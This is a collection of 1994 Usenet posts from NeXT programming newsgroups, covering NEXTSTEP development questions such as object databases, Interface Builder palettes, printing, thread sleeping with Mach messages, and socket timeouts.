Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: cwi@wag.ch (Christoph Widmer) Subject: amd Automounter Message-ID: <CMsr2y.2FA@wag.ch> Sender: usenet@wag.ch Organization: workstation ag, Rohrstr. 36/38, CH-8152 Glattbrugg, Switzerland Date: Thu, 17 Mar 1994 06:52:10 GMT I want to use the AMD automounter on a NeXT. Does anyone has some experience with it. What do I have to change, that it works with NetInfo ? Christoph Widmer cwi@wag.ch
Newsgroups: comp.databases.object,comp.sys.next.misc,comp.sys.next.programmer From: b_brottier@icare.fdn.org (Bruno Brottier) Subject: Poet or other OODB on top of NEXTSTEP Message-ID: <1994Mar17.095720.1256@icare.fdn.org> Sender: news@icare.fdn.org Organization: Individual - Levallois, France. Date: Thu, 17 Mar 1994 09:57:20 GMT Hi netters ! Do anybody have any infos about Poet on NEXTSTEP, or any other OODB on NEXTSTEP. A friend of mine wants to build an app on NEXTSTEP, and do not want to use any RDB. Do you have any pointers/experiences/thought ? Cheers BB --------------------------- Bruno Brottier 37 rue Chaptal 92300 LEVALLOIS PERRET - FRANCE E-mail: b_brottier@icare.fdn.org -- [NeXTmail] ---------------------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Help for building palettes Date: 17 Mar 1994 14:13:29 -0000 Organization: me organised, that's a joke. Message-ID: <2m9oi9$2ha@steffi.demon.co.uk> References: <CMt3p4.Buz@news.informatik.uni-stuttgart.de> Keywords: IB, palettes, submenu brandner@dia.informatik.uni-stuttgart.de (Mirko Brandner) wrote in comp.sys.next.programmer >Hallo again, > >it seems that my first posting has not been sent to this group. Unfortunately >I need information urgently and I have not saved what I wrote before. > >I would like to post the following questions: > >1) >How do I write submenus which can be dragged from the palette? >My code works fine for MenuCells and I know what to write in the >finishInstantiate method for my subclass of IBPAlette. I also know that >I have to use a different type in the associate.... method. Yeah you probably have to use IBMenuPboardType if it exists. Has anybody ever done this? Did MESA actually do this thru a palette with his drag and drop stuff. My guess is the early version was done thru code changing the matrix at runtime. Why else would you want to do this? Interesting. > >2) >I want to replace the MainMenu in IB with an object of my subclass of Menu! >There is no way to instantiate an object of class Menu or below (not even >Window if I recall correctly!)in the browser. I can delete the MainMenu but >do not know how to replcace it! Probably have to resort to code to do that. It's possible because it's been done. > >3) >Using the class-dump program and searching through libraries and IB executable >I find {Window,Menu}Template classes. What are they good for? Nothing leave them along. They are what you see in Edit Mode and they are replaced to _real_ instances in Test IB and when you application runs. > >Thanks for all your answers in advance. Soon, I will also post why I need this >information in a project where blind users are helped to use GUIs. Sounds like you want to give some feedback based on menu selection? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: kunkee@sugar.NeoSoft.COM (Randy Kunkee) Newsgroups: comp.databases.object,comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Poet or other OODB on top of NEXTSTEP Date: 17 Mar 1994 09:12:44 -0600 Organization: NeoSoft Internet Services +1 713 684 5969 Message-ID: <2m9s1c$m7j@sugar.NeoSoft.COM> References: <1994Mar17.095720.1256@icare.fdn.org> In article <1994Mar17.095720.1256@icare.fdn.org>, Bruno Brottier <b_brottier@icare.fdn.org> wrote: >Hi netters ! > >Do anybody have any infos about Poet on NEXTSTEP, or any other OODB on >NEXTSTEP. A friend of mine wants to build an app on NEXTSTEP, and do not >want to use any RDB. Do you have any pointers/experiences/thought ? > >Cheers > >BB >--------------------------- >Bruno Brottier >37 rue Chaptal >92300 LEVALLOIS PERRET - FRANCE >E-mail: b_brottier@icare.fdn.org -- [NeXTmail] >--------------------------- I posted a similar inquiry last week. The following pretty much summarizes the responses I got so far: From pom@anke.imsd.uni-mainz.DE Mon Mar 14 05:34:03 1994 Received: from anke.imsd.Uni-Mainz.DE by sugar.NeoSoft.COM with SMTP id AA25374 (5.65c/IDA-1.4.4 for <kunkee@sugar.NeoSoft.COM>); Mon, 14 Mar 1994 05:33:51 -0600 Received: from katrin by anke.imsd.uni-mainz.DE (NX5.67c/NX3.0M) id AA13098; Mon, 14 Mar 94 12:34:33 +0100 From: Prof. Dr. Klaus Pommerening <pom@anke.imsd.uni-mainz.DE> Message-Id: <9403141134.AA13098@anke.imsd.uni-mainz.DE> Received: by katrin.imsd.uni-mainz.DE (NX5.67c/NX3.0X) id AA02027; Mon, 14 Mar 94 12:34:30 +0100 Date: Mon, 14 Mar 94 12:34:30 +0100 Received: by NeXT.Mailer (1.87.1) Received: by NeXT Mailer (1.87.1) To: kunkee@sugar.NeoSoft.COM (Randy Kunkee) Subject: Re: What Object Oriented databases work on NeXT? Status: RO In comp.sys.next.software article <2lqb7u$dpo@sugar.NeoSoft.COM> you wrote: > I'm curious what object oriented databases are out there for Next, > both commercial or free. For example, I plan to look into OBST. > I'd be interested if anyone has ported this to NeXT already. POET: Seems to be the best choice for NeXT. POET Software GmbH., Fossredder 12, D-22359 Hamburg, Germany, Tel. (+49)40/60990-0, Fax (+49)40/6039851 IDB: Seems quite similar to POET. Persistent Data Systems, Inc, P.O.Box 38415, Pittsburgh, PA 15238, Tel. 412-963-1843, Fax 412-963-1846. Versant: There is a version for NeXT/Motorola, which is not supported anymore. Itasca: No longer marketed for NeXT. -- Klaus Pommerening Institut fuer Medizinische Statistik und Dokumentation der Johannes-Gutenberg-Universitaet D-55101 Mainz, Germany -- Randy Kunkee Houston, TX 713-870-1334 kunkee@sugar.neosoft.com
Newsgroups: comp.sys.next.programmer From: rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) Subject: Re: wysiNwyg! Why won't this print? Message-ID: <CMtEpq.J3y@dvorak.amd.com> Sender: news@dvorak.amd.com (Usenet News) Organization: Advanced Micro Devices, Austin TX References: <PJS.94Mar16162216@bigdog.engr.arizona.edu> Date: Thu, 17 Mar 1994 15:22:37 GMT In article <PJS.94Mar16162216@bigdog.engr.arizona.edu> pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) writes: >>The following incredibly simple object displays properly to the >>screen, but will not print. I'm probably overlooking something very >>simple, but those are the hardest bugs for the author to find, so any >>help would be appreciated. >> >>--paul >> >> >>The "Print..." menu button is connected to FirstResponder with a >>SmartPrintPSCode: action. I've created a window containing a MyView >>object. MyView interface and implemenation follow. If anyone would >>like a copy of the entire project, I'll happily e-mail it to you. >> >> >>MyView.h >>======== >> >>#import <appkit/appkit.h> >> >>@interface MyView:View >>{ >>} >> >>- drawSelf: (const NXRect*) rects : (int) rectCount; >> >>@end >> >> >> >> >>MyView.m >>======== >> >>@implementation MyView >> >>- initFrame: (const NXRect *) r >>{ >> [super initFrame: r]; >> [self setDrawSize: 5 : 5]; >> [self setOpaque: YES]; >> [self setAutodisplay: YES]; >> return self; >>} >> >>- drawSelf: (const NXRect*) rects : (int) rectCount; >>{ >> NXRect r; >> >> PSsetgray(NX_WHITE); // changing this to NX_BLACK prints black... >> NXRectFill(&bounds); >> [self setDrawOrigin: 0.0: 0.0]; >> r.origin.y = 0; >> r.origin.x = 2; >> r.size.width = 1; >> r.size.height = 4; >> PSsetgray(NX_DKGRAY); >> NXRectFill(&r); // this rectangle displays but WON'T PRINT! >> return self; >>} >> >>@end >>-- Just guessing but don't you need a PSshow() at the end ? Also, I've always been confused by the following statement: return self; If this is C, shouldn't it read: return(self); How exactly should I interpret that statement ? -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com (NeXTmail is more fun) -- Ronald Pomeroy Advanced Micro Devices CAM Applications Group rpomeroy@aunext1.amd.com
Newsgroups: comp.sys.next.programmer From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Help writing a server/daemon Message-ID: <1994Mar17.160157.27303@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Thu, 17 Mar 1994 16:01:57 GMT Hi, I would like to write a server/daemon, which will be contacted by clients. The server and the clients will exchange data (memory zones). Both sides must be informed that the other side died. I really do not know how to write that. Should I use Distributed Objects and a protocol? Or Listener/Speaker? Is msgwrap useable for both cases? What is its correct usage (i.e. insertion of the .msg only in a project, or...). Thanks for any pointers, yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
Newsgroups: comp.sys.next.programmer From: thf@zelator.de (Thomas Funke) Subject: Re: can't usleep in thread, so..? Message-ID: <1994Mar16.131813.955@gamelan.uucp> Sender: thomas@gamelan.uucp (thomas) Organization: Disorganization References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> Date: Wed, 16 Mar 1994 13:18:13 GMT In article <1994Mar14.185625.11862@galileo.cc.rochester.edu> lapj_ss@troi.cc.rochester.edu (J. LaPierre) writes: > I need to do usleep type waits in a thread, but apparently, this Use 'select()' for sleeping. -- ------------------------------------------------------------------ Thomas Funke ** Unix-Consultant ** thf@zelator.de Brooks's Law: Adding manpower to a late software project makes it later ------------------------------------------------------------------
From: pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) Newsgroups: comp.sys.next.programmer Subject: Re: wysiNwyg! Why won't this print? Date: 17 Mar 1994 21:02:05 GMT Organization: University of Arizona, CCIT Message-ID: <PJS.94Mar17140205@bigdog.engr.arizona.edu> References: <PJS.94Mar16162216@bigdog.engr.arizona.edu> <CMtEpq.J3y@dvorak.amd.com> In-reply-to: rpomeroy@aunext1.amd.com's message of Thu, 17 Mar 1994 15:22:37 GMT In article <CMtEpq.J3y@dvorak.amd.com> rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) writes: > In article <PJS.94Mar16162216@bigdog.engr.arizona.edu> > pjs@bigdog.engr.arizona.edu (Paul J. Sanchez) writes: > >> [Original question deleted for brevity] > Just guessing but don't you need a PSshow() at the end ? PSshow() is for displaying a string. Neither PSshowpage() nor PSstroke() made a bit of difference. > Also, I've always been confused by the following statement: > return self; > If this is C, shouldn't it read: > return(self); > How exactly should I interpret that statement ? Nope, check out page 25 of K&R, 2nd edition, or p. 218 of the first edition. The proper syntax is "return expression". Parenthesizing an expression doesn't hurt, but it isn't required. --paul -- --paul paul@whimsy.umsl.edu ================================================================= A free society is one where it is safe to be unpopular. -- Adlai Stevenson =================================================================
Newsgroups: comp.sys.next.programmer From: scratch@arcturus.sce.carleton.ca (Craig Scratchley) Subject: Using RCS and Project Builder Together Message-ID: <scratch.763937423@arcturus.sce.carleton.ca> Summary: Does anyone have experience in using RCS and ProjectBuilder together. Keywords: RCS Project Builder Sender: news@cunews.carleton.ca (News Administrator) Organization: Carleton University Date: Thu, 17 Mar 1994 20:50:23 GMT Hi. I'm quite new at NextSTEP, and I'd like to have ProjectBuilder help me to use RCS. At least, I want to use RCS with my projects built with ProjectBuilder. Does anyone have any advice or helpful files? Thanks, Craig -- W. Craig Scratchley | internet: scratch@sce.carleton.ca Dept. of Systems and Computer Engineering | phone: (613) 788-5740 (Dept.) Carleton University | (613) 241-6952 (Home) Ottawa, ON, CANADA K1S 5B6 | fax: (613) 788-5727 (Dept.)
From: art@cubicsol.com (Art Isbell) Newsgroups: comp.sys.next.programmer Subject: Re: Help for building palettes Date: 17 Mar 1994 22:39:46 GMT Organization: University of California, Santa Cruz Distribution: world Message-ID: <2mam7i$oeh@darkstar.UCSC.EDU> References: <CMt3p4.Buz@news.informatik.uni-stuttgart.de> In article <CMt3p4.Buz@news.informatik.uni-stuttgart.de> brandner@dia.informatik.uni-stuttgart.de (Mirko Brandner) writes: > 1) > How do I write submenus which can be dragged from the palette? > My code works fine for MenuCells and I know what to write in the > finishInstantiate method for my subclass of IBPAlette. I also know that > I have to use a different type in the associate.... method. > Possibly a challenging palette to write :-) > 2) > I want to replace the MainMenu in IB with an object of my subclass of Menu! > There is no way to instantiate an object of class Menu or below (not even > Window if I recall correctly!)in the browser. I can delete the MainMenu but > do not know how to replcace it! > What's worked for me is to create a menu structure in IB that's identical to what you'd like to end up with at run time, and then walk this menu in appWillInit: instantiating a new menu structure composed of your Menu and/or MenuCell subclasses. Free the original menus after you've copied them. Then send NXApp a setMainMenu: message with your new root menu as an argument. I think you'll need to send your new menu an orderFront: message or you'll end up with no visible menu :-) --- Art Isbell Cubic Solutions NeXT Registered Consultant NEXTSTEP software development and consulting NeXTmail: art@cubicsol.com Voice: +1 408 335 1154 USmail: 95018-9442 Fax: +1 408 335 2515
From: garth@cs.swarthmore.edu (Garth Snyder) Newsgroups: comp.sys.next.programmer Subject: Re: can't usleep in thread, so..? Date: 17 Mar 1994 23:13:33 GMT Organization: Swarthmore College, Swarthmore, PA, USA Message-ID: <2mao6t$p1g@larch.cc.swarthmore.edu> References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> <2m3maa$fvh@larch.cc.swarthmore.edu> <CEDMAN.94Mar15081207@capitalist.princeton.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit cedman@princeton.edu (Carl Edman) writes: > Is select(2) guaranteed to work properly in a multi-threaded > environment ? I've had some bad experiences in this regard, so I > rather doubt it. If you are using multiple-threads don't trust > anything but Mach messaging. Yes. The problem with sleep and usleep is that they use signals - they are just library routines that set the "alarm clock" so that a SIGALRM is generated after a given time. Mach does not guarantee which thread will be interrupted to process a signal, so sleep and usleep become nondeterministic. System calls which accept a timeout are handled within the kernel, which always deals with multithreading issues correctly. However, the thread_switch() solution which someone else posted seems like a cleaner way to go in any case. I doubt that you can approach microsecond resolution even using routines that take microseconds as input. The time is only a hint... Garth
Newsgroups: comp.sys.next.programmer From: kurt@frsvnsvn.irvine.ca.us (Kurt Werle) Subject: __extension__?? Message-ID: <1994Mar17.235210.18917@frsvnsvn.irvine.ca.us> Organization: Little to None Date: Thu, 17 Mar 1994 23:52:10 GMT I've been trying to compile Oleo (under NS 3.2) and it can't get passed the first file... It seems to be choking on a construct' called __extension__. I can only find 2 references to it in any of the online docs. What is this beast? As an aside, anyone get Oleo to compile? Thanks, Kurt
From: slxn8@cc.usu.edu Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: FAT Hackers Jargon Dictionary? Message-ID: <1994Mar17.155728.13674@cc.usu.edu> Date: 17 Mar 94 15:57:28 MDT Organization: Utah State University Is there a FAT version of the most excellent Hackers Jargon dictionary? If there is, could someone direct me to its location? Many thanks, ====================================================================== John Zollinger (NextMail Preferred) Programmer/Analyst ati06!obsidian!johnz@attati.attmail.com [Moore BCS - Logan, Utah] slxn8@cc.usu.edu "Life is too important to take seriously." ======================================================================
Newsgroups: comp.sys.next.programmer From: paul@phoenix.Princeton.EDU (Paul Lansky) Subject: Mathematical typesetting Message-ID: <1994Mar18.021932.7484@Princeton.EDU> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University Date: Fri, 18 Mar 1994 02:19:32 GMT What is the best software out there for typesetting Mathematical expressions? thanks paul lansky paul@Princeton.edu
Newsgroups: comp.sys.next.programmer From: burchard@geom.umn.edu (Paul Burchard) Subject: Re: GC, Obj-C and the Appkit Message-ID: <CMuF4I.Lr3@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Twin Cities References: <CMrxM5.Hvo@dvorak.amd.com> Date: Fri, 18 Mar 1994 04:30:21 GMT In article <CMrxM5.Hvo@dvorak.amd.com> rpomeroy@aunext1.amd.com (Ron Pomeroy x(Coop)) writes: > Is there any hope of getting garbage collection > in Obj-C and the Appkit ?? Pieter Schoenmakers <tiggr@es.ele.tue.nl> has done some work on this. See the comp.lang.objective-c FAQ for details. -- -------------------------------------------------------------------- Paul Burchard <burchard@geom.umn.edu> ``I'm still learning how to count backwards from infinity...'' --------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: wave goes west... Message-ID: <1994Mar17.084232.6982@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory Date: Thu, 17 Mar 1994 08:42:32 GMT I'm heading out to the Bay Area this Friday for about 6 days. I'll be in Palo Alto (Stanford, specifically) this weekend for a workshop and be staying in SF, Monday I'll be at NeXT, and Tuesday I'll be in Marin visiting various CG places. Anybody who wants to go out for a beer and hang out, let me know; I'm not sure what my exact schedule is, but I'm always up for a beer and a chat. If you had some pressing questions about the 3DKit, tcl, or WavesWorld, buy me a beer and I'll be happy to answer them... :-) I'm leaving early Friday morning, but will hopefully be reading my mail every day. I'm sans portable, but will hopefully be able to scam net access every day at friends'. -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: wave@media.mit.edu (Michael B. Johnson) Subject: Re: wave goes west... Message-ID: <1994Mar17.091915.7470@news.media.mit.edu> Sender: news@news.media.mit.edu (USENET News System) Organization: MIT Media Laboratory References: <1994Mar17.084232.6982@news.media.mit.edu> Date: Thu, 17 Mar 1994 09:19:15 GMT Before the flames rol in, I *meant* that to just have a distribution of the bay are, but it didn't seem to take (since I just read it here on the east coast). Sorry... -- --> Michael B. Johnson -- wave@media.mit.edu --> MIT Media Lab -- Computer Graphics & Animation Group --> 20 Ames St. E15-023G -- (617) 547-0563 (day office) --> Cambridge, MA 02139 -- (617) 253-0663 (night office)
Newsgroups: comp.sys.next.programmer From: jaime@afs.com (Jaime Guerrero) Subject: Re: Best approach for fast local access of retrieved database data Message-ID: <1994Mar15.160503.2116@afs.com> Sender: jaime@afs.com References: <2lt8lk$q2p@darkstar.UCSC.EDU> Date: Tue, 15 Mar 1994 16:05:03 GMT In article <2lt8lk$q2p@darkstar.UCSC.EDU> art@cubicsol.com (Art Isbell) writes: > I need to be able to access database data rapidly and with standard > NEXTSTEP objects to configure a window as it's being opened. The data is > an associated pair; i.e., given a value for the first data, the value for > its associated data is what I need. > The obvious first approach is to fetch data for the current window from > the database each time it's needed, but this adds a brief delay to the > already too-slow window configuration process. > The next approach is to fetch data for all windows in one batch and > store it locally in a recordList. Sequential search for a specific window > seems slow (500+ windows), bsearch() is "illegal" to use with a recordList > because getting a recordList's _rowList and thus its dataPtr isn't > supported by the public API, and I'm too lazy to write a custom recordList > binary search algorithm (I want to use already-available tools). Have you considered simply reading your data into a Storage object and using bsearch()? Certainly more suitable for such a simple access requirement than dbkit or indexing kit. The Storage class makes its array instance variable 'dataPtr' public, so using bsearch on it is legit. You should, of course, package this representation up into a class or module of functions. Note that you must read the data into the Storage object in sorted order for bsearch() to work, so unlike a database table, you can only do indexed 'queries' from the Storage object based on that one key. Alternatively, load data in any order into a Storage object as above, then create HashTables for each 'key' you want to search on, where the value part is a pointer into a record in the Storage object. Another variation to using a Storage object is to create a small class that contains the data you need to cache, and insert instances of this class into a List object. Then, access the data using the above bsearch() or HashTable strategy. <<This shows the fundamental pleasure and problem with programming; there's at least a dozen ways to do anything-- which is best?>> Don't forget to consider that such 'cached' data is only read once, so depending on your application, it may be stale and you may need a flush-and-reload operation to refresh it with current data at appropriate times. -- Jaime Guerrero "Verbing weirds language." Anderson Financial Systems Inc. Springhouse, Pennsylvania, USA jaime@afs.com [NeXTmail ok]
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: cmaeda@cs.washington.edu (Chris Maeda) Subject: Re: Timeouts with connect(2) on NS/FIP. Message-ID: <1994Mar18.083949.7430@beaver.cs.washington.edu> Sender: news@beaver.cs.washington.edu (USENET News System) Organization: Computer Science & Engineering, U. of Washington, Seattle References: <SCOTT.94Mar14173813@nic.gac.edu> Date: Fri, 18 Mar 94 08:39:49 GMT In article <SCOTT.94Mar14173813@nic.gac.edu> scott@nic.gac.edu (Scott Hess) writes: > >For a program I've written for a client, I need to run my own TCP >connection to a host. So, I pulled out some code I've used in the >past, hacked it a bit to bring it more up-to-date and flexible, and >used it in the program. I've been using this code for more than a >year, now, under both NS2.1 and NS3.[012], all for Motorola. It's >been working just fine (ok, I'll be very precise - the _socket_ code's >been working fine. Other code hasn't worked so well :-). Total, the >code's been in use for more than two years, with slight changes as >noted above. > >Unfortunately, it's not been working on NS-Intel for some reason that >I cannot determine. What happens is that everything works right up to >where I call connect(2) to bind the successfully opened socket to an >address. The connect() call hangs, and eventually exits with >ETIMEDOUT. > >While attempting to track the problem down, I've built two mini >versions of the program, one which just calls the same sequence of >networking code, and another which uses the actual objects, and both >connect without a problem. The next step will be to come from the >other direction, starting with the actual application and paring off >elements until I find one that affects things. Unfortunately, this is >a very inefficient means of debugging, and so I ask ... Have you successfully run your mini programs on intel hardware? After reading the first two paragraphs, my guess was that you probably have latent byte-order problems in your code. (Since m68k is a big-endian arch, byte-order sloppiness can go undetected until you try to port to a little-endian arch.) But if your mini programs run on x86, then you have to figure out what is in your full-blown app that is breaking your connect call. You might also take a look at InetObjects from Zippytech (ztech@well.sf.ca.us). This is a set of Obj-C classes for TCP and UDP that interfaces with the appkit and insulates you from grody details like byte order. (Disclaimer: I wrote these objects.)
Newsgroups: comp.sys.next.programmer From: henry@trilithon.com (Henry McGilton) Subject: Re: compositing with SOVER and printing? Message-ID: <1994Mar15.181024.1822@trilithon.com> Sender: henry@trilithon.com Organization: Trilithon Software References: <gelatoCMorCB.Jxx@netcom.com> Date: Tue, 15 Mar 1994 18:10:24 GMT In article <gelatoCMorCB.Jxx@netcom.com> gelato@netcom.com (Steve James) writes: * Can anyone point me at some example code/doc that explains * how to deal with the problem that composite with SOVER does * not come out right if NXDrawingStatus == NX_PRINTING? (I * get white for the background on a LaserWriter, and black * on a SPARCprinter). I could not find anything about this * in Digital Librarian or NeXTAnswers. Thanks... The root of the problem is that PostScript per se doesn't support compositing. The imaging model of PostScript is opaque paint which overlays whatever is already there. In general, the approach I use for drawing or printing in a view is something like if (NXDrawingStatus == NX_PRINTING) just draw the stuff else do the compositing stuff you would normally do Most of the time, I use compositing to avoid redrawing parts of an image that have not changed. Dragging stuff around with the mouse is a good example. You draw into a background cache and then SOVER the cache over the view as you drag around. ........ Henry
Newsgroups: comp.sys.next.programmer From: lapj_ss@troi.cc.rochester.edu (J. LaPierre) Subject: How do I tell WM to poll for CD's? Message-ID: <1994Mar18.053024.10688@galileo.cc.rochester.edu> Keywords: Workspace Manager audio cd-rom Sender: news@galileo.cc.rochester.edu Organization: University of Rochester - Rochester, New York Date: Fri, 18 Mar 94 05:30:24 GMT How can I signal/message the Workspace Manager to resume polling for CD's? The reason I need to do this is that CDPlayer.app does not work with my current hardware configuration, and yes I have tried all the posted requirements for this program to work. So..... I have written my own version of the CDPlayer.app (and am currently adding new features), but I have no idea how to resume CD-rom polling once the program terminates. Apparently CDPlayer.app (the normal one) can do this because if I kill it, the drive is no longer checked, but if I quit, the drive is rechecked periodically (every second). Obviously, this is a somewhat substantial hangup, since you can only mount CD's subsequently by manually mounting them. I am reluctant to send my program to other netters for testing 'til I can solve this problem. It doesn't bother me personally too much since I rarely mount data CD's. Anybody know how CDPlayer.app does this? I would guess it's a message, possibly through a service. Any knowledgeable replies greatly appreciated. -Jason ----- Jason LaPierre -- University of Rochester -- lapj_ss@troi.cc.rochester.edu ----
From: altadm@nuri.inria.fr (administrateur altair) Newsgroups: comp.databases.object,comp.sys.next.misc,comp.sys.next.programmer Subject: Re: Poet or other OODB on top of NEXTSTEP Date: 18 Mar 1994 09:17:00 GMT Organization: INO2 Technology, VersaillesFrance. Distribution: world Message-ID: <2mbric$lir@news-rocq.inria.fr> References: <1994Mar17.095720.1256@icare.fdn.org> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit O2 is available on NextStep. O2 is the OODBMS from O2Technology Contact: O2 Technology 7, rue du parc de Clagny 78035 Versailles Cedex France Tel 33 (1) 30 84 77 77 Fax 33 (1) 30 84 77 90 North American Office O2 Technology, Inc. 2685 Marine Vay - Suite 1220 Mountain View - Ca 94043 Usa Phone 415 969 2333 Fax 415 964 20 27 Best rgards
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: can't usleep in thread, so..? Date: 18 Mar 1994 11:27:13 GMT Organization: San Francisco State University Message-ID: <2mc36h$1nk@nic-nac.CSU.net> References: <1994Mar14.185625.11862@galileo.cc.rochester.edu> <2m3maa$fvh@larch.cc.swarthmore.edu> <CEDMAN.94Mar15081207@capitalist.princeton.edu> <2mao6t$p1g@larch.cc.swarthmore.edu> In article <2mao6t$p1g@larch.cc.swarthmore.edu> garth@cs.swarthmore.edu (Garth Snyder) writes: > The problem with sleep and usleep is that they use signals - they >are just library routines that set the "alarm clock" so that a SIGALRM is >generated after a given time. usleep() is based on SIGALRM, but sleep() is not. >However, the thread_switch() solution which someone else posted seems like >a cleaner way to go in any case. Maybe, maybe not. "If it's so great, why doesn't NeXT use it?" -=EPS=- (who hates seeing misinformation posted to the net) ------- #import <bsd/libc.h> #import <mach/mach.h> /* -O2 optimization */ static void msleep(unsigned int ms) { register unsigned int duration; struct timeval then, now; port_t quiet_port; msg_header_t msg; duration=ms; if (port_allocate(task_self(), &quiet_port)==KERN_SUCCESS) { msg.msg_local_port=quiet_port; msg.msg_size=sizeof msg; (void)gettimeofday(&then, (struct timezone *)NULL); while (msg_receive(&msg, RCV_TIMEOUT|RCV_INTERRUPT, duration)== RCV_INTERRUPTED) { then.tv_sec+=duration/1000; then.tv_usec+=(duration%1000)*1000; if (then.tv_usec>1000000) { then.tv_usec-=1000000; then.tv_sec++; } (void)gettimeofday(&now, (struct timezone *)NULL); if (then.tv_sec<now.tv_sec|| (then.tv_sec==now.tv_sec&& then.tv_usec<now.tv_usec)) break; if ((duration=(then.tv_sec-now.tv_sec)*1000+ (then.tv_usec-now.tv_usec)/1000)==0) break; then=now; } (void)port_deallocate(task_self(), quiet_port); } } void sleep(unsigned int seconds) { register unsigned int togo, duration; togo=seconds; while (togo>0) { if (togo>4194304) { duration=4194304000; togo-=4194304; } else { duration=togo*1000; togo=0; } msleep(duration); } }
Newsgroups: comp.sys.next.programmer From: Pred_Bundalo@ri.com (Predrag S. Bundalo) Subject: Sizing escape sequence for vt100 (Terminal.app)? Message-ID: <CMtxy1.Av@ri.com> Sender: pred@ri.com (Predrag S. Bundalo) Organization: Rom Industries Corporation, Chicago. Date: Thu, 17 Mar 1994 22:18:01 GMT Can someone tell me what the escape sequences are to send to a Terminal.app windown in order to size it to 100x50. Yes, I can do this by dragging the resize bar, but this gets to be tedious when I have to log in 3 times a day to a system that resets my window to 80x50 (from 100x50) with the UNIX "reset" command each time. -- `,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,` `,`, Pred Bundalo `,`,`,`,`,`,`,` (NeXTmail-able) Pred_Bundalo@ri.com `,`,`,`,` `,`, Rom Industries `,`,`,`,`,`,`,`,`,,` (School) pred@iitmax.acc.iit.edu `,`,` `,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`,`
Newsgroups: comp.databases.object,comp.sys.next.misc,comp.sys.next.programmer From: jrobie@netmbx.netmbx.de (Jonathan Robie) Subject: Re: Poet or other OODB on top of NEXTSTEP Organization: netmbx, Berlin, Germany Date: Fri, 18 Mar 1994 12:28:05 GMT Message-ID: <TDZMBO3J@netmbx.netmbx.de> References: <1994Mar17.095720.1256@icare.fdn.org> <2m9s1c$m7j@sugar.NeoSoft.COM> kunkee@sugar.NeoSoft.COM (Randy Kunkee) writes: >In article <1994Mar17.095720.1256@icare.fdn.org>, >Bruno Brottier <b_brottier@icare.fdn.org> wrote: >>Hi netters ! >> >>Do anybody have any infos about Poet on NEXTSTEP, or any other OODB on >>NEXTSTEP. A friend of mine wants to build an app on NEXTSTEP, and do not >>want to use any RDB. Do you have any pointers/experiences/thought ? >> >>Cheers >> >>BB Yes, POET is available for the NeXT. In fact, we use the NeXT for a lot of our internal development. Most of our developers have a Windows computer and a NeXT or a Sun on their desk. Jonathan -- Jonathan Robie BKS Software Entwicklungs GmbH phone: +49 30 / 342 3066 Guericke Str. 27 fax: +49 30 / 342 8413 1000 Berlin 10 email: jonathan@bks.de
Newsgroups: comp.sys.next.programmer From: jhall@madeline.umhc.umn.edu (Jeff Hallgren) Subject: setting DBTableView column width programmatically Message-ID: <CMv4By.198@news.cis.umn.edu> Keywords: setting DBTableView column width programmatically Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Twin Cities Date: Fri, 18 Mar 1994 13:34:49 GMT I'm trying to restore the users default settings for a DBTableView. I'm having trouble permanently setting the column widths. Depending on when I try to set the column widths it either works or not but, in any case the widths get wiped out and returned to the original (IB) settings. I'm using [[dbTableView columnAt:index] sizeTo:aFloat] to set the widths. When the column is manually resized the width will stick through re-fetchs and redisplays but not when I programmatically resize them. (It appears that the DBTableView layoutChanged: method wipes out my sizes). Can someone tell me how (or perhaps when) to size the columns so that the settings will stick? Thanks, Jeff -- Maybe it's a Wisconsin thing... jeff.hallgren@tahiti.umhc.umn.edu (NeXTMail OK)
